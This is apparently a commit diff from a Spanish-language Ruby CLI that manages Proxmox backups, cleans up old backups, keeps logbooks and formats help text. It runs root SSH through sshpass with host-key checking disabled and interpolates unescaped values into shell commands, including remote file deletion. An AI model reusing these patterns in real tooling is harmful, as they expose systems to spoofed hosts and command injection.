bitacora_id: bitacora['id'],
nodo_id: nodo_db ? nodo_db['id'] : nil
)
# Guardar ID para actualizar después
@backup_entrada_id = entrada['id'].to_i
@backup_bitacora_id = bitacora['id'].to_i
end
rescue => e
@logger.error("Error registrando inicio en DB: #{e.message}")
end
def registrar_task_id_bitacora(nodo, task_id)
return unless @backup_entrada_id
require_relative '../db/core/bitacora_db'
BitacorasDB::BitacoraDB.with_connection do |db|
db.update_entrada(@backup_entrada_id, {
descripcion: "[task:#{task_id[0..7]}] Backup remoto en ejecución."
})
end
rescue => e
@logger.error("Error registrando task_id en DB: #{e.message}")
end
def registrar_fin_bitacora(nodo, exito, task_id = nil)
return unless @backup_entrada_id
require_relative '../db/core/bitacora_db'
require_relative '../db/exporters/md_exporter'
hora_fin = Time.now.strftime('%H:%M')
estado = exito ? '✅' : '⚠️'
desc = exito ? 'Backup completado exitosamente.' : 'Fallo en la ejecución del backup.'
desc = "[task:#{task_id[0..7]}] #{desc}" if task_id
BitacorasDB::BitacoraDB.with_connection do |db|
db.update_entrada(@backup_entrada_id, {
fin: hora_fin,
descripcion: desc,
estado: estado
})
end
rescue => e
@logger.error("Error registrando fin en DB: #{e.message}")
end
def comando_predeterminar(args)
if args.length < 2
puts "#{Color::YELLOW}Uso: adn backup predeterminar <parametro> <valor>#{Color::RESET}"
puts "Ej: adn backup predeterminar modo snapshot"
exit 1
end
param = args[0].downcase
valor = args[1]
param = 'modo' if param == 'mode'
param = 'retencion_dias' if param == 'edad'
unless ['modo', 'storage', 'compress', 'retencion_dias'].include?(param)
@logger.error("Parámetro no predeterminable: #{param}")
exit 1
end
Configurador.establecer("backup.defaults.#{param}", valor)
@logger.exito("Valor predeterminado establecido: backup.#{param} = #{valor}")
puts "#{Color::GREEN}✓ Se ha predeterminado el #{param} a '#{valor}' para futuros backups.#{Color::RESET}"
end
def comando_estados
@logger.info("Consultando estado de backups en cluster Proxmox")
# Lista de hosts a consultar
hosts = [
{ nombre: 'srv-pmox1', ip: '10.0.10.201' },
{ nombre: 'srv-dasu', ip: '100.116.210.36' },
]
puts "\n#{Color::BOLD}🔍 Estado de Backups en Tiempo Real (Proxmox)#{Color::RESET}"
puts "─" * 60
candados_path = File.join(ADN::PROJECT_ROOT, 'adn', 'tools', 'seguridad', 'candados.rb')
# Asegurar autorización general para el lote
system("ruby #{candados_path} authorize > /dev/null 2>&1")
all_tasks_accumulated = []
hosts.each do |h|
print "📡 Conectando a #{h[:nombre]} (#{h[:ip]})... "
# Intentamos obtener tareas
cmd = "/usr/bin/pvesh get /cluster/tasks --output-format json"
cmd_seguro = "sshpass -e ssh -o StrictHostKeyChecking=no root@#{h[:ip]} '#{cmd}'"
# Ejecutamos vía candados run usando la clave adecuada
clave = (h[:nombre] == 'srv-dasu' ? 'srv-dasu:rmonla' : 'admindasu')
output = `ruby #{candados_path} run #{clave} SSHPASS '#{cmd_seguro}' 2>&1`
if output.include?('[')
begin
# Extraer el JSON
json_str = output[output.index('[')..output.rindex(']')]
tasks_host = JSON.parse(json_str)
all_tasks_accumulated.concat(tasks_host)
# Filtrar tareas vzdump activas de ESTE host para mostrar
tasks_activas = tasks_host.select { |t| t['type'] == 'vzdump' && t['endtime'].nil? }
puts "#{Color::GREEN}OK#{Color::RESET}"
if tasks_activas.empty?
puts " #{Color::DIM}Sin tareas de backup activas en este host.#{Color::RESET}"
else
tasks_activas.each do |t|
msg = t['status'] || 'ejecutando'
print " ▶ #{Color::CYAN}#{t['id']}#{Color::RESET} "
puts "[#{msg}] (Iniciado: #{Time.at(t['starttime']).strftime('%H:%M:%S')})"
end
end
rescue => e
puts "#{Color::YELLOW}JSON ERROR#{Color::RESET}"
puts " #{Color::DIM}Error parseando respuesta: #{e.message}#{Color::RESET}"
end
else
puts "#{Color::RED}ERROR#{Color::RESET}"
if output.include?('Permission denied')
puts " #{Color::DIM}Error de permisos/candado puesto.#{Color::RESET}"
else
puts " #{Color::DIM}No se detectaron tareas activas o el host no respondió.#{Color::RESET}"
end
end
end
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
# 2. Sincronización Automática: Auto-reconciliación y Migración
fecha_hoy = Date.today.iso8601
archivo_md = File.join(ADN::BITACORAS_DIR, "#{fecha_hoy}.md")
if File.exist?(archivo_md)
print "#{Color::DIM}🔄 Reconciliando tareas pendientes... #{Color::RESET}"
auto_reconciliar_bitacora(all_tasks_accumulated)
puts "#{Color::DIM}OK#{Color::RESET}"
print "#{Color::DIM}🔄 Sincronizando bitácora digital... #{Color::RESET}"
# Ejecutamos la migración de forma silenciosa
cmd_migrar = "#{File.join(ADN::PROJECT_ROOT, 'adn/tools/run')} db migrar:md #{fecha_hoy} --sobrescribir > /dev/null 2>&1"
system(cmd_migrar)
puts "#{Color::DIM}OK#{Color::RESET}"
end
# 3. Historial de la DB (Sincronizado)
puts "\n#{Color::BOLD}📅 Historial de hoy (Sincronizado)#{Color::RESET}"
puts "─" * 60
db_tool = "./adn/tools/run"
# Buscamos por "backup" o "BKP"
system("#{db_tool} db evento:listar --desde '#{fecha_hoy}' --buscar 'ackup'")
puts "\n#{Color::DIM}Para historial completo use: ./adn/tools/run db evento:listar --desde '#{fecha_hoy}'#{Color::RESET}"
end
def comando_sanear
dias = @opciones[:retencion].to_i
storage = @opciones[:storage]
@logger.info("Iniciando saneamiento de backups (Retención: #{dias} días en '#{storage}')")
# 1. Obtener lista de VMs directamente de Proxmox para nombres precisos
host = { nombre: 'srv-pmox1', ip: '10.0.10.201' }
candados_path = File.join(ADN::PROJECT_ROOT, 'adn', 'tools', 'seguridad', 'candados.rb')
system("ruby #{candados_path} authorize > /dev/null 2>&1")
@logger.info("Consultando inventario de VMs en Proxmox...")
cmd_vms = "/usr/bin/pvesh get /cluster/resources --type vm --output-format json"
clave = (host[:nombre] == 'srv-dasu' ? 'srv-dasu:rmonla' : 'admindasu')
output_vms = `ruby #{candados_path} run #{clave} SSHPASS 'ssh -o StrictHostKeyChecking=no root@#{host[:ip]} "#{cmd_vms}"' 2>/dev/null`
vmid_map = cargar_mapa_vmid_nodos # Cargar local primero
begin
if output_vms.include?('[')
json_vms = output_vms[output_vms.index('[')..output_vms.rindex(']')]
JSON.parse(json_vms).each do |vm|
id = vm['vmid'].to_s
# Priorizar nombre de Proxmox si el local no existe o es genérico
vmid_map[id] = vm['name'] if vm['name'] && (!vmid_map[id] || vmid_map[id] == id)
end
end
rescue => e
@logger.advertencia("No se pudo completar el mapa de VMs desde Proxmox: #{e.message}")
end
# 2. Obtener lista de archivos en el storage
# Intentar con varios hosts del cluster por si uno está caído
ruta_dump = "/mnt/pve/#{storage}/dump"
@logger.info("Listando archivos en #{storage}...")
output_ls = ""
[ '10.0.10.201', '10.0.10.202', '10.0.10.203' ].each do |ip|
cmd_ls = "ls -1 --full-time #{ruta_dump}/vzdump-*"
res = `ruby #{candados_path} run admindasu SSHPASS 'sshpass -e ssh -o StrictHostKeyChecking=no root@#{ip} "#{cmd_ls}"' 2>&1`
unless res.include?('No such file') || res.include?('Connection refused')
output_ls = res
break
end
end
if output_ls.empty? || output_ls.include?('No such file')
@logger.error("No se encontró la ruta de backups en ningún host: #{ruta_dump}")
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
exit 1
end
# 3. Filtrar archivos por antigüedad
ahora = Time.now
limite = ahora - (dias * 24 * 60 * 60)
backups_agrupados = {}
output_ls.split("\n").each do |linea|
next if linea.include?('OPTIONS]') || linea.empty?
partes = linea.split(/\s+/)
next if partes.length < 9
fecha_str = "#{partes[5]} #{partes[6]}"
ruta_archivo = partes[8..-1].join(' ')
nombre = File.basename(ruta_archivo)
fingerprint = nombre.sub(/\.(log|vma\.zst|tar\.zst|vma\.zst\.notes|tar\.zst\.notes)$/, '')
begin
mtime = Time.parse(fecha_str)
if mtime < limite
vmid = fingerprint.match(/vzdump-(?:qemu|lxc)-(\d+)-/)&.[](1)
nodo_humano = vmid ? vmid_map[vmid] : "ID:#{vmid}"
backups_agrupados[fingerprint] ||= {
fingerprint: fingerprint,
fecha: mtime,
vmid: vmid,
nodo: nodo_humano,
archivos: []
}
backups_agrupados[fingerprint][:archivos] << { ruta: ruta_archivo, nombre: nombre }
end
rescue
next
end
end
if backups_agrupados.empty?
puts "#{Color::GREEN}✓ No se encontraron backups mayores a #{dias} días en #{storage}.#{Color::RESET}"
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
return
end
# Convertir a array ordenado por fecha
lista_final = backups_agrupados.values.sort_by { |b| b[:fecha] }
# 4. Mostrar lista con nuevo formato solicitado
puts "\n#{Color::BOLD}🗑️ Propuesta de Saneamiento de Backups#{Color::RESET} (Retención: #{dias} días)"
puts "─" * 90
puts "#{Color::BOLD}ID Nombre_VMID_Fecha Componentes detectados#{Color::RESET}"
puts "─" * 90
lista_final.each_with_index do |b, idx|
num = (idx + 1).to_s.rjust(2, '0')
fecha_corta = b[:fecha].strftime('%Y-%m-%d')
# Formato solicitado: XX - VMNombre_VMid_Fecha
entrada_label = "#{num} - #{Color::BOLD}#{Color::CYAN}#{b[:nodo]}_#{b[:vmid]}_#{fecha_corta}#{Color::RESET}".ljust(60)
tipos = b[:archivos].map { |a| a[:nombre].split('.').last }.uniq.join(", ")
total_archivos = "(#{b[:archivos].length} arch.)"
puts "#{entrada_label} #{Color::DIM}#{tipos.ljust(15)} #{total_archivos}#{Color::RESET}"
end
puts "─" * 90
puts "Total detectado: #{lista_final.length} backups completos (#{backups_agrupados.values.sum { |b| b[:archivos].length }} archivos en total)."
puts "\n#{Color::BOLD}Acciones:#{Color::RESET}"
puts " • Escriba #{Color::BOLD}'S'#{Color::RESET} para borrar TODOS los backups listados."
puts " • Escriba #{Color::BOLD}excluir 1, 3-5#{Color::RESET} para conservar backups específicos."
puts " • Escriba #{Color::BOLD}'N'#{Color::RESET} para cancelar."
print "\n👉 #{Color::BOLD}¿Qué deseas hacer?#{Color::RESET}: "
input = STDIN.gets.chomp.strip.downcase
if input == 'n' || input == ''
puts "#{Color::YELLOW}Operación cancelada.#{Color::RESET}"
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
exit
end
# Procesar exclusiones
seleccionados = lista_final.dup
if input.start_with?('excluir')
exclusiones = []
patron = input.sub('excluir', '').strip
patron.split(/[\s,]+/).each do |p|
next if p.empty?
if p.include?('-')
inicio, fin = p.split('-').map(&:to_i)
exclusiones.concat((inicio..fin).to_a)
else
exclusiones << p.to_i
end
end
seleccionados = lista_final.reject.with_index { |_, idx| exclusiones.include?(idx + 1) }
if seleccionados.empty?
puts "#{Color::YELLOW}Has excluido todos los backups. Nada que hacer.#{Color::RESET}"
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
exit
end
puts "#{Color::CYAN} Has excluido #{lista_final.length - seleccionados.length} backups. Procediendo con #{seleccionados.length}...#{Color::RESET}"
elsif input != 's'
puts "#{Color::RED}Opción no válida. Cancelando.#{Color::RESET}"
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
exit
end
# 5. Borrado final
total_a_borrar = seleccionados.sum { |b| b[:archivos].length }
puts "\n#{Color::BOLD}🗑️ Borrando #{total_a_borrar} archivos asociados a #{seleccionados.length} backups...#{Color::RESET}"
seleccionados.each_with_index do |b, i|
puts "\n #{Color::BOLD}[#{i+1}/#{seleccionados.length}] Procesando #{b[:nodo]}...#{Color::RESET}"
b[:archivos].each do |a|
print " Eliminando #{a[:nombre]}... "
del_cmd = "rm -f '#{a[:ruta]}'"
del_seguro = "sshpass -e ssh -o StrictHostKeyChecking=no root@#{host[:ip]} '#{del_cmd}'"
clave = (b[:nodo] == 'srv-dasu' ? 'srv-dasu:rmonla' : 'admindasu')
system("ruby #{candados_path} run #{clave} SSHPASS '#{del_seguro}' > /dev/null 2>&1")
puts "#{Color::GREEN}OK#{Color::RESET}"
end
end
@logger.exito("Saneamiento completado. Se limpiaron #{seleccionados.length} sets de backup.")
system("ruby #{candados_path} cerrar > /dev/null 2>&1")
end
def cargar_mapa_vmid_nodos
mapa = {}
Dir.glob(File.join(ADN::NODOS_DIR, "*.md")).each do |f|
next if File.directory?(f)
begin
contenido = File.read(f)
# Buscar nombre en h1 o metadatos
nombre = File.basename(f, ".md")
vmid = contenido.match(/(?:VM ID|vmid|VMID)\*\*?:?\s*`?(\d+)`?/i)&.[](1)
mapa[vmid.to_s] = nombre if vmid
rescue
next
end
end
mapa
end
def auto_reconciliar_bitacora(all_tasks)
fecha = Date.today.iso8601
ruta = File.join(ADN::BITACORAS_DIR, "#{fecha}.md")
return unless File.exist?(ruta)
contenido = File.read(ruta)
vmid_map = cargar_mapa_vmid_nodos
# Encontrar todas las filas que tienen un reloj de arena
lineas = contenido.lines
nodo_actual = nil
lineas.each do |linea|
if linea.start_with?('### srvv-')
nodo_actual = linea.sub('### ', '').strip
next
end
# Si es una fila de tabla en progreso (⏳)
if nodo_actual && linea.include?('|') && linea.include?('⏳')
match_hora = linea.match(/\|\s*(\d{2}:\d{2})\s*\|/)
next unless match_hora
hora_inicio_str = match_hora[1]
vmid = vmid_map.key(nodo_actual)
next unless vmid
# Buscar última tarea vzdump de este VMID que ya terminó
hora_inicio_t = Time.parse("#{fecha} #{hora_inicio_str}") rescue nil
tarea = all_tasks.select { |t|
vmid_task = (t['vmid'] || t['id']).to_s
t['type'] == 'vzdump' &&
vmid_task == vmid &&
!t['endtime'].nil? &&
(hora_inicio_t ? Time.at(t['starttime']) >= (hora_inicio_t - 3600) : true)
}.max_by { |t| t['endtime'] }
if tarea
exito = (tarea['status'] == 'OK')
hora_fin = Time.at(tarea['endtime']).strftime('%H:%M')
@logger.info("Auto-cerrando backup de #{nodo_actual} (Task ID: #{tarea['id']})")
cerrar_entrada_especifica(nodo_actual, hora_inicio_str, exito, tarea['id'], hora_fin)
end
end
private
def mostrar_ayuda
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Backup ADN",
descripcion: "Ejecuta un backup remoto o consulta el estado actual.",
uso: "./adn/tools/run backup <nodo|estados> [OPCIONES]",
opciones: [
{ names: ['<nodo>'], desc: "Ejecutar backup del nodo especificado" },
{ names: ['estados'], desc: "Ver estado actual de los backups en Proxmox" },
{ names: ['sanear'], desc: "Limpiar backups antiguos según retención" },
{ names: ['predeterminar'], desc: "Configurar valores por defecto" },
{ names: ['--mode MODO'], desc: "Modo de backup (stop, snapshot, suspend)" },
{ names: ['--storage STORAGE'], desc: "Nombre del storage en Proxmox" },
{ names: ['-h', '--help'], desc: "Mostrar esta ayuda" }
],
ejemplos: [
{ cmd: "./adn/tools/run backup srv-dasu", desc: "Ejecutar backup del nodo srv-dasu" },
{ cmd: "./adn/tools/run backup estados", desc: "Ver estado de backups en Proxmox" },
{ cmd: "./adn/tools/run backup sanear", desc: "Limpiar backups antiguos" }
]
)
puts ayuda
end
end
end
def cerrar_entrada_especifica(nodo, hora_ini, exito, task_id, hora_fin)
fecha = Date.today.iso8601
ruta = File.join(ADN::BITACORAS_DIR, "#{fecha}.md")
return unless File.exist?(ruta)
+30
View File
@@ -0,0 +1,30 @@
# frozen_string_literal: true
require_relative '../candados/candados'
module ADN
class SubcomandoCandados
def initialize(args, logger)
@args = args
@logger = logger
end
def ejecutar
if @args.empty?
# Llamamos al help interno de candados.rb
system("ruby #{File.join(File.dirname(__FILE__), '../candados/candados.rb')} help")
return
end
# Ejecutamos el script de candados pasando los argumentos
# Nota: candados.rb maneja internamente la seguridad y auditoría
script_path = File.join(File.dirname(__FILE__), '../candados/candados.rb')
system("ruby #{script_path} #{@args.join(' ')}")
# Propagamos el exit status si es un comando de ejecución (run/sudo)
if ['run', 'sudo'].include?(@args[0])
exit $?.exitstatus || 0
end
end
end
end
+17 -9
View File
@@ -8,6 +8,8 @@
require 'optparse'
require 'fileutils'
require 'date'
require_relative '../core/colores'
require_relative '../core/help_formatter'
module ADN
class SubcomandoConocimiento
@@ -19,7 +21,8 @@ module ADN
end
def ejecutar
if @args.empty? || @args[0] == 'help'
# Handle help flags
if @args.empty? || @args[0] == 'help' || @args[0] == '-h' || @args[0] == '--help'
mostrar_ayuda
return
end
@@ -164,14 +167,19 @@ module ADN
end
def mostrar_ayuda
puts "#{Color::CYAN}🧠 Herramienta ADN - Gestión de Base de Conocimiento#{Color::RESET}"
puts "Permite inyectar, organizar e indexar nueva documentación en el motor autónomo."
puts ""
puts "#{Color::BOLD}SUBCOMANDOS:#{Color::RESET}"
puts " #{Color::CYAN}asimilar <archivo.md>#{Color::RESET} Ingiere un documento Markdown a la base cognitiva del ADN."
puts ""
puts "#{Color::BOLD}EJEMPLOS:#{Color::RESET}"
puts " ./adn/tools/run conocimiento asimilar docs/configuracion_bd.md"
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Gestión de Base de Conocimiento",
descripcion: "Permite inyectar, organizar e indexar nueva documentación en el motor autónomo.",
uso: "./adn/tools/run conocimiento <subcomando> [opciones]",
opciones: [
{ names: ['asimilar <archivo.md>'], desc: "Ingiere un documento Markdown a la base cognitiva del ADN." }
],
ejemplos: [
{ cmd: "./adn/tools/run conocimiento asimilar docs/configuracion_bd.md", desc: "Asimilar documentación de configuración de BD" }
]
)
puts ayuda
end
end
end
+24 -8
View File
@@ -3,6 +3,7 @@
require 'optparse'
require_relative '../core/colores'
require_relative 'nodos/info'
require_relative '../core/help_formatter'
class SubcomandoContexto
def initialize(args, logger)
@@ -12,10 +13,10 @@ class SubcomandoContexto
end
def ejecutar
if @args.empty?
@logger.error("Se requiere nombre de nodo")
puts "Uso: ./adn/tools/run contexto <nombre-nodo> [--cmd]"
exit 1
# Handle help flags
if @args.empty? || @args[0] == 'help' || @args[0] == '-h' || @args[0] == '--help'
mostrar_ayuda
return
end
nodo = @args[0]
@@ -30,10 +31,6 @@ class SubcomandoContexto
opts.on("--cmd", "Generar comando SSH con ProxyJump si es necesario") do
@opciones[:cmd] = true
end
opts.on("-h", "--help", "Mostrar esta ayuda") do
puts opts
exit
end
end
begin
@@ -49,6 +46,25 @@ class SubcomandoContexto
private
def mostrar_ayuda
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Contexto de Nodo",
descripcion: "Obtiene información contextual de un nodo",
uso: "./adn/tools/run contexto <nombre-nodo> [--cmd]",
opciones: [
{ names: ['--cmd'], desc: "Generar comando SSH con ProxyJump si es necesario" }
],
ejemplos: [
{ cmd: "./adn/tools/run contexto srv-pmox1", desc: "Obtener contexto del nodo srv-pmox1" },
{ cmd: "./adn/tools/run contexto srvv-fenix --cmd", desc: "Obtener contexto con comandos SSH sugeridos" }
]
)
puts ayuda
end
private
def obtener_contexto(nombre_nodo)
@logger.info("Buscando contexto para nodo: #{nombre_nodo}")
+140 -1
View File
@@ -23,6 +23,8 @@
require 'optparse'
require 'date'
require 'time'
require_relative '../core/colores'
require_relative '../core/help_formatter'
# Cargar módulo BitacorasDB
begin
@@ -59,7 +61,144 @@ module ADN
# Ejecuta el subcomando según los argumentos proporcionados
def ejecutar
if @args.empty? || @args[0] == 'help'
if @args.empty? || @args[0] == 'help' || @args[0] == '-h' || @args[0] == '--help'
mostrar_ayuda
return
end
subcomando = @args[0]
sub_args = @args[1..-1] || []
case subcomando
when 'salud:bd'
comando_salud_bd
when 'bitacora:crear'
comando_bitacora_crear(sub_args)
when 'bitacora:listar'
comando_bitacora_listar(sub_args)
when 'evento:crear'
comando_evento_crear(sub_args)
when 'evento:listar'
comando_evento_listar(sub_args)
when 'evento:actualizar'
comando_evento_actualizar(sub_args)
when 'evento:eliminar'
comando_evento_eliminar(sub_args)
when 'nodo:crear'
comando_nodo_crear(sub_args)
when 'nodo:listar'
comando_nodo_listar(sub_args)
when 'hito:listar'
comando_hito_listar(sub_args)
when 'hito:actualizar'
comando_hito_actualizar(sub_args)
when 'hito:renombrar'
comando_hito_renombrar(sub_args)
when 'hito:ordenar'
comando_hito_ordenar(sub_args)
when 'estadisticas'
comando_estadisticas
when 'backup'
comando_backup(sub_args)
when 'archivar:md'
comando_archivar_md
else
@logger.error("Subcomando desconocido: #{subcomando}")
puts "#{Color::RED}✗ Subcomando desconocido: '#{subcomando}'#{Color::RESET}"
puts ""
mostrar_ayuda
exit 1
end
rescue Interrupt
puts "\n#{Color::YELLOW}⚠ Operación interrumpida por el usuario#{Color::RESET}"
@logger.info("Operación de base de datos interrumpida por usuario")
exit 130
rescue => e
@logger.error("Error en operación de base de datos: #{e.message}", { backtrace: e.backtrace })
puts "#{Color::RED}✗ Error: #{e.message}#{Color::RESET}"
puts "#{Color::DIM}#{e.backtrace.first}#{Color::RESET}" if ENV['ADN_DEBUG']
exit 1
end
private
# ─── COMANDOS PRINCIPALES ──────────────────────────────────────────────
# ─── MÉTODOS AUXILIARES ──────────────────────────────────────────────
# Carga la configuración desde config.yml
def cargar_configuracion
config_path = File.join(__dir__, 'config.yml')
return {} unless File.exist?(config_path)
begin
YAML.load_file(config_path)
rescue => e
@logger.error("Error cargando configuración: #{e.message}")
{}
end
end
# Muestra la ayuda general del subcomando
def mostrar_ayuda
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Operaciones de Base de Datos ADN",
descripcion: "Integra las operaciones de base de datos PostgreSQL con la CLI ADN",
uso: "./adn/tools/run db [SUBCOMANDO] [OPCIONES]",
opciones: [
{ names: ['salud:bd'], desc: "Verificar conexión y estado de la BD" },
{ names: ['backup [OPCIONES]'], desc: "Crear backup de la base de datos" },
{ names: ['bitacora:crear [FECHA]'], desc: "Crear nueva bitácora diaria" },
{ names: ['bitacora:listar [OPCIONES]'], desc: "Listar bitácoras existentes" },
{ names: ['evento:crear [OPCIONES]'], desc: "Crear nueva entrada cronológica" },
{ names: ['evento:listar [OPCIONES]'], desc: "Listar entradas con filtros" },
{ names: ['nodo:crear [OPCIONES]'], desc: "Crear nuevo nodo (servidor/VM/PC)" },
{ names: ['nodo:listar [OPCIONES]'], desc: "Listar nodos del sistema" },
{ names: ['estadisticas'], desc: "Mostrar estadísticas del sistema" },
{ names: ['archivar:md'], desc: "Mueve los archivos .md migrados al archivo histórico" }
],
ejemplos: [
{ cmd: "./adn/tools/run db salud:bd", desc: "Verificar conexión y estado de la BD" },
{ cmd: "./adn/tools/run db bitacora:crear --resumen \"Inicio de proyecto\"", desc: "Crear bitácora con resumen" },
{ cmd: "./adn/tools/run db evento:crear --inicio 09:00 --descripcion \"Reunión\" --nodo srv-ns8", desc: "Crear entrada de evento" },
{ cmd: "./adn/tools/run db nodo:listar --tipo servidor", desc: "Listar nodos de tipo servidor" }
]
)
puts ayuda
puts ""
puts "#{Color::YELLOW}⚠ Nota:#{Color::RESET} Requiere PostgreSQL en ejecución (puerto 5433)"
puts " Iniciar contenedor: #{Color::DIM}cd dtic-BITACORAs && docker-compose up -d#{Color::RESET}"
end
end
end
module ADN
class SubcomandoDB
require_relative 'db/bitacora'
require_relative 'db/evento'
require_relative 'db/nodo'
require_relative 'db/hito'
require_relative 'db/misc'
include SubcomandoDBBitacora
include SubcomandoDBEvento
include SubcomandoDBNodo
include SubcomandoDBHito
include SubcomandoDBMisc
# Inicializa el subcomando con argumentos y logger
#
# @param args [Array<String>] Argumentos de línea de comandos
# @param logger [ADNLogger] Instancia de logger para registro
def initialize(args, logger)
@args = args
@logger = logger
@config = cargar_configuracion
end
# Ejecuta el subcomando según los argumentos proporcionados
def ejecutar
if @args.empty? || @args[0] == 'help' || @args[0] == '-h' || @args[0] == '--help'
mostrar_ayuda
return
end
+29 -6
View File
@@ -2,6 +2,7 @@
require 'date'
require_relative '../core/colores'
require_relative '../core/help_formatter'
class SubcomandoGenerar
def initialize(args, logger)
@@ -38,12 +39,24 @@ class SubcomandoGenerar
private
def mostrar_ayuda_generar
puts "Uso: ./adn/tools/run generar <tipo> [argumentos]"
puts ""
puts "Tipos disponibles:"
puts " bitacora [fecha] Generar nueva bitácora (fecha: YYYY-MM-DD, default: hoy)"
puts " nodo <nombre> Generar ficha de nodo"
puts " proyecto <código> Generar manifiesto de proyecto"
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Generador de Componentes ADN",
descripcion: "Genera nuevos componentes en el ecosistema ADN",
uso: "./adn/tools/run generar <tipo> [argumentos]",
opciones: [
{ names: ['bitacora [fecha]'], desc: "Crea nueva bitácora (fecha: YYYY-MM-DD, default: hoy)" },
{ names: ['nodo <nombre>'], desc: "Crea ficha de nodo" },
{ names: ['proyecto <código>'], desc: "Crea manifiesto de proyecto" }
],
ejemplos: [
{ cmd: "./adn/tools/run generar bitacora", desc: "Crear bitácora para hoy" },
{ cmd: "./adn/tools/run generar bitacora 2026-03-08", desc: "Crear bitácora para el 8 de marzo de 2026" },
{ cmd: "./adn/tools/run generar nodo srv-nuevo", desc: "Crear ficha para el nodo srv-nuevo" },
{ cmd: "./adn/tools/run generar proyecto P2604", desc: "Crear manifiesto para el proyecto P2604" }
]
)
puts ayuda
end
def generar_bitacora
@@ -210,6 +223,16 @@ class SubcomandoGenerar
| :--- | :--- | :---: | :--- |
| 1 | *Primer hito* | 📍 | *Fecha* |
---
## 📊 Progreso
```
Fase 1: ░░░░░░░░░░ 0% Nombre de la Fase
```
---
## Dashboard
*URL del panel de seguimiento web (si aplica)*
+20 -22
View File
@@ -13,6 +13,7 @@ require 'time'
require 'optparse'
require_relative '../db/core/bitacora_db'
require_relative '../core/colores'
require_relative '../core/help_formatter'
module ADN
class SubcomandoJornada
@@ -57,28 +58,25 @@ module ADN
private
def mostrar_ayuda
puts <<~AYUDA
#{Color::CYAN}📅 Gestión de Jornada Laboral#{Color::RESET}
#{Color::YELLOW}Uso:#{Color::RESET} ./adn/tools/run jornada <acción> [modo] [hora] [opciones]
#{Color::YELLOW}Acciones:#{Color::RESET}
iniciar [presencial|remoto] [HH:MM] Registrar inicio de jornada
cerrar [presencial|remoto] [HH:MM] Registrar cierre de jornada
estado Ver estado de la jornada actual
#{Color::YELLOW}Opciones:#{Color::RESET}
--nodo NOMBRE Nodo a registrar (default: #{NODO_DEFAULT})
--fecha YYYY-MM-DD Fecha de la bitácora (default: hoy)
#{Color::YELLOW}Ejemplos:#{Color::RESET}
./adn/tools/run jornada iniciar presencial 08:00
./adn/tools/run jornada iniciar remoto
./adn/tools/run jornada cerrar presencial 17:00
./adn/tools/run jornada cerrar
./adn/tools/run jornada estado
./adn/tools/run jornada iniciar presencial 08:00 --nodo srv-ns8
AYUDA
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Gestión de Jornada Laboral",
descripcion: "Registro y control de jornada laboral",
uso: "./adn/tools/run jornada <acción> [modo] [hora] [opciones]",
opciones: [
{ names: ['iniciar [presencial|remoto] [HH:MM]'], desc: "Registrar inicio de jornada" },
{ names: ['cerrar [presencial|remoto] [HH:MM]'], desc: "Registrar cierre de jornada" },
{ names: ['estado'], desc: "Ver estado de la jornada actual" },
{ names: ['--nodo NOMBRE'], desc: "Nodo a registrar (default: #{NODO_DEFAULT})" },
{ names: ['--fecha YYYY-MM-DD'], desc: "Fecha de la bitácora (default: hoy)" }
],
ejemplos: [
{ cmd: "./adn/tools/run jornada iniciar presencial 08:00", desc: "Iniciar jornada presencial a las 08:00" },
{ cmd: "./adn/tools/run jornada cerrar remoto 23:00", desc: "Cerrar jornada remota a las 23:00" },
{ cmd: "./adn/tools/run jornada estado", desc: "Ver estado actual de la jornada" }
]
)
puts ayuda
end
def parsear_modo_y_hora
+384
View File
@@ -0,0 +1,384 @@
# frozen_string_literal: true
# adn/tools/cli/network.rb — Herramienta para topología de red estandarizada
# ==========================================================================
# Esta herramienta provee una vista consolidada de la topología de red del
# sistema ADN, eliminando la necesidad de búsquedas exploratorias en /nodos.
#
# Uso:
# ./adn/tools/run network show
# ./adn/tools/run network show --proyecto P2604
# ./adn/tools/run network show --nodo srv-ns8
# ./adn/tools/run network show --json
#
# Proporciona información estructurada sobre:
# - Nodos y sus IPs, roles, saltos SSH
# - Proyectos activos y sus hitos
# - Dependencias entre componentes
# - Estado de candados necesarios
require 'optparse'
require_relative '../core/colores'
require_relative '../core/constants'
require_relative '../core/help_formatter'
require_relative 'nodos/info'
require_relative 'db/db'
module ADN
class SubcomandoNetwork
def initialize(args, logger)
@args = args
@logger = logger
@opciones = {
formato: :texto, # :texto, :json, :markdown
proyecto: nil,
nodo: nil,
detalle: false
}
end
def ejecutar
if @args.empty?
mostrar_ayuda
return
end
accion = @args.shift
case accion
when 'show'
mostrar_topologia
when 'ayuda', 'help', '-h', '--help'
mostrar_ayuda
else
puts "#{Color::RED}✗ Acción desconocida: '#{accion}'#{Color::RESET}"
mostrar_ayuda
exit 1
end
end
private
def crear_parser
OptionParser.new do |opts|
opts.banner = "Uso: ./adn/tools/run network show [OPCIONES]"
opts.separator ""
opts.separator "Muestra la topología de red estandarizada del sistema ADN"
opts.separator ""
opts.separator "Opciones:"
opts.on("--formato FORMATO", [:texto, :json, :markdown], "Formato de salida (texto, json, markdown)") do |formato|
@opciones[:formato] = formato
end
opts.on("--proyecto CODIGO", "Filtrar por código de proyecto (ej: P2604)") do |codigo|
@opciones[:proyecto] = codigo.upcase
end
opts.on("--nodo NOMBRE", "Mostrar detalles de un nodo específico") do |nombre|
@opciones[:nodo] = nombre
end
opts.on("--detalle", "Mostrar información detallada incluyendo métricas") do
@opciones[:detalle] = true
end
opts.on("-h", "--help", "Mostrar esta ayuda") do
mostrar_ayuda
end
end
end
def mostrar_ayuda
ayuda = ADN::HelpFormatter.generar_help(
titulo: "Topología de Red ADN",
descripcion: "Muestra la topología de red estandarizada del sistema ADN",
uso: "./adn/tools/run network show [OPCIONES]",
opciones: [
{ names: ['--formato FORMATO'], desc: "Formato de salida (texto, json, markdown)" },
{ names: ['--proyecto CODIGO'], desc: "Filtrar por código de proyecto (ej: P2604)" },
{ names: ['--nodo NOMBRE'], desc: "Mostrar detalles de un nodo específico" },
